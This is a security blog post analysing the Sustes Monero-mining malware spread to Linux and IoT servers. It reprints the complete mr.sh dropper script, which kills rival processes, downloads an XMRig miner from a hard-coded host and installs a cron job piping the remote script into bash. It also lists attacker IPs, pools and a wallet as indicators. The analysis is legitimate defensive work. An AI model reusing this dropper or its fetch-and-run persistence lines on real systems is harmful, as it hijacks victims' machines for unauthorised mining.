Sustes Malware: CPU for Monero
21.9.2018 securityaffairs Virus

Sustes Malware doesn’t infect victims by itself, but it is spread via brute-force activities with special focus on IoT and Linux servers.
Today I’d like to share a simple analysis based on a fascinating threat that I like to call Sustes (you will see name genesis in a bit).

Everybody knows Monero cryptocurrency and probably everybody knows that it has built upon privacy, by meaning It’s not that simple to figure out Monero wallet balance. Sustes (Mr.sh) is a nice example of Pirate-Mining and even if it’s hard to figure out its magnitude, since the attacker built-up private pool-proxies, I believe it’s interesting to fix wallet address in memories and to share IoC for future Protection. So, let’s have a closer look at it.

Monero stops you trying to check wallet balance
Sustes Malware doesn’t infect victims by itself (it’s not a worm) but it is spread over the exploitation and brute-force activities with special focus on IoT and Linux servers.
The initial infection stage comes from a custom wget (http:\/\/192[.]99[.]142[.]226[:]8220\/mr.sh ) directly on the victim machine followed by a simple /bin/bash mr.sh.
The script is a simple bash script which drops and executes additional software with a bit of spicy. The following code represents the mr.sh content as a today (ref. blog post date).
#!/bin/bash
mkdir /var/tmp
chmod 777 /var/tmp
pkill -f getty
netstat -antp | grep '27.155.87.59' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '27.155.87.59' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'CLOSE_WAIT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '121.18.238.56' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '121.18.238.56' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '103.99.115.220' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '103.99.115.220' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
pkill -f /usr/bin/.sshd
rm -rf /var/tmp/j*
rm -rf /tmp/j*
rm -rf /var/tmp/java
rm -rf /tmp/java
rm -rf /var/tmp/java2
rm -rf /tmp/java2
rm -rf /var/tmp/java*
rm -rf /tmp/java*
chmod 777 /var/tmp/sustes
ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
ps ax | grep /tmp/ | grep -v grep | grep -v 'sustes\|sustes\|ppl' | awk '{print $1}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf' | grep -v grep | grep -v 'sustes\|sustes\|ppl' | awk '{print $1}' | xargs kill -9
DIR="/var/tmp"
if [ -a "/var/tmp/sustes" ]
then
if [ -w "/var/tmp/sustes" ] && [ ! -d "/var/tmp/sustes" ]
then
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum /var/tmp/sustes | awk '{ print $1 }')
echo $sum
case $sum in
c8c1f2da51fbd0aea60e11a81236c9dc | c8c1f2da51fbd0aea60e11a81236c9dc)
echo "sustes OK"
;;
*)
echo "sustes wrong"
pkill -f wc.conf
pkill -f sustes
sleep 4
;;
esac
fi
echo "P OK"
else
DIR=$(mktemp -d)/var/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
else
if [ -d "/var/tmp" ]
then
DIR="/var/tmp"
fi
echo "P NOT EXISTS"
fi
if [ -d "/var/tmp/sustes" ]
then
DIR=$(mktemp -d)/var/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget -O";
fi
f2="192.99.142.226:8220"

downloadIfNeed()
{
if [ -x "$(command -v md5sum)" ]
then
if [ ! -f $DIR/sustes ]; then
echo "File not found!"
download
fi
sum=$(md5sum $DIR/sustes | awk '{ print $1 }')
echo $sum
case $sum in
c8c1f2da51fbd0aea60e11a81236c9dc | c8c1f2da51fbd0aea60e11a81236c9dc)
echo "sustes OK"
;;
*)
echo "sustes wrong"
sizeBefore=$(du $DIR/sustes)
if [ -s /usr/bin/curl ];
then
WGET="curl -k -o ";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget --no-check-certificate -O ";
fi
#$WGET $DIR/sustes https://transfer.sh/wbl5H/sustes
download
sumAfter=$(md5sum $DIR/sustes | awk '{ print $1 }')
if [ -s /usr/bin/curl ];
then
echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/sustes` > $DIR/var/tmp.txt
fi
;;
esac
else
echo "No md5sum"
download
fi
}

download() {
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/sustes3 | awk '{ print $1 }')
echo $sum
case $sum in
c8c1f2da51fbd0aea60e11a81236c9dc | c8c1f2da51fbd0aea60e11a81236c9dc)
echo "sustes OK"
cp $DIR/sustes3 $DIR/sustes
;;
*)
echo "sustes wrong"
download2
;;
esac
else
echo "No md5sum"
download2
fi
}

download2() {
if [ `getconf LONG_BIT` = "64" ]
then
$WGET $DIR/sustes http://192.99.142.226:8220/xm64
fi

if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/sustes | awk '{ print $1 }')
echo $sum
case $sum in
c8c1f2da51fbd0aea60e11a81236c9dc | c8c1f2da51fbd0aea60e11a81236c9dc)
echo "sustes OK"
cp $DIR/sustes $DIR/sustes3
;;
*)
echo "sustes wrong"
;;
esac
else
echo "No md5sum"
fi
}

judge() {
if [ ! "$(netstat -ant|grep '158.69.133.20\|192.99.142.249\|202.144.193.110'|grep 'ESTABLISHED'|grep -v grep)" ];
then
ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
do
kill -9 $procid
done
downloadIfNeed
touch /var/tmp/123
pkill -f /var/tmp/java
pkill -f w.conf
chmod +x $DIR/sustes
$WGET $DIR/wc.conf http://$f2/wt.conf
nohup $DIR/sustes -c $DIR/wc.conf > /dev/null 2>&1 &
sleep 5
else
echo "Running"
fi
}

judge2() {
if [ ! "$(ps -fe|grep '/var/tmp/sustes'|grep 'wc.conf'|grep -v grep)" ];
then
downloadIfNeed
chmod +x $DIR/sustes
$WGET $DIR/wc.conf http://$f2/wt.conf
nohup $DIR/sustes -c $DIR/wc.conf > /dev/null 2>&1 &
sleep 5
else
echo "Running"
fi
}

if [ ! "$(netstat -ant|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ];
then
judge2
else
judge
fi

if crontab -l | grep -q "192.99.142.226:8220"
then
echo "Cron exists"
else
crontab -r
echo "Cron not found"
LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
then
LDR="curl";
fi
if [ -s /usr/bin/wget ];
then
LDR="wget -q -O -";
fi
(crontab -l 2>/dev/null; echo "* * * * * $LDR http://192.99.142.226:8220/mr.sh | bash -sh > /dev/null 2>&1")| crontab -
fi
rm -rf /var/tmp/jrm
rm -rf /tmp/jrm
pkill -f 185.222.210.59
pkill -f 95.142.40.81
pkill -f 192.99.142.232
chmod 777 /var/tmp/sustes
crontab -l | sed '/185.222.210.59/d' | crontab -
view rawmr hosted with ❤ by GitHub
An initial connection-check wants to take down unwanted software on the victim side (awk ‘{print $7}’ | sed -e “s/\/.*//g”) taking decisions upon specific IP addresses. It filters PID from connection states and it directly kills them (kill -9). The extracted attacker’s unwanted communications are the following ones:

103[.]99[.]115[.]220 (Org: HOST EDU (OPC) PRIVATE LIMITED, Country: IN)
104[.]160[.]171[.]94 (Org: Sharktech Country: USA)
121[.]18[.]238[.]56 (Org: ChinaUnicom, Country: CN)
170[.]178[.]178[.]57 (Org: Sharktech Country: USA)
27[.]155[.]87[.]59 (Org: CHINANET-FJ Country: CN)
52[.]15[.]62[.]13 (Org: Amazon Technologies Inc., Country: USA)
52[.]15[.]72[.]79 (Org: HOST EDU (OPC) PRIVATE LIMITED, Country: IN)
91[.]236[.]182[.]1 (Org: Brillant Auto Kft, Country: HU)
A second check comes from “command lines arguments”. Sustes “greps” to search for configuration files (for example: wc.conf and wq.conf and wm.conf) then it looks for software names such as sustes (here we go !) and kills everything matches the “grep”. The script follows by assigning to f2 variable the dropping website (192[.]99[.]142[.]226:8220) and later-on it calls “f2” adding specific paths (for example: /xm64 and wt.conf) in order to drop crafted components. MR.sh follows by running the dropped software with configuration file as follows:
nohup $DIR/sustes -c $DIR/wc.conf > /dev/null 2>&1 &
MR.SH ends up by setting a periodic crontab action on dropping and executing itself by setting up:

crontab -l 2>/dev/null; echo “* * * * * $LDR http://192.99.142.226:8220/mr.sh | bash -sh > /dev/null 2>&1”
Following the analysis and extracting the configuration file from dropping URL we might observe the Monero wallet addresses and the Monero Pools used by attacker. The following wallets (W1, W2, W3) were found.

W1: 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
W2: 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
W3: 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
Quick analyses on the used Monero pools took me to believe the attacker built up a custom and private (deployed on private infrastructures) Monero pool/proxies, for such a reason I believe it would be nice to monitor and/or block the following addresses:
158[.]69[.]133[.]20 on port 3333
192[.]99[.]142[.]249 on port 3333
202[.]144[.]193[.]110 on port 3333
The downloaded payload is named sustes and it is a basic XMRIG, which is a well-known opensource miner. In this scenario, it is used to make money at the expense of computer users by abusing the infected computer to mine Monero, a cryptocurrency. The following image shows the usage strings as an initial proof of software.

XMRIG prove 1
Many people are currently wondering what is the sustes process which is draining a lot of PC resources (for example: here, here and here ) …. now we have an answer: it’s an unwanted Miner. :D.

Hope you had fun

Further details including the IoC area available at:

https://marcoramilli.blogspot.com/2018/09/sustes-malware-cpu-for-monero.html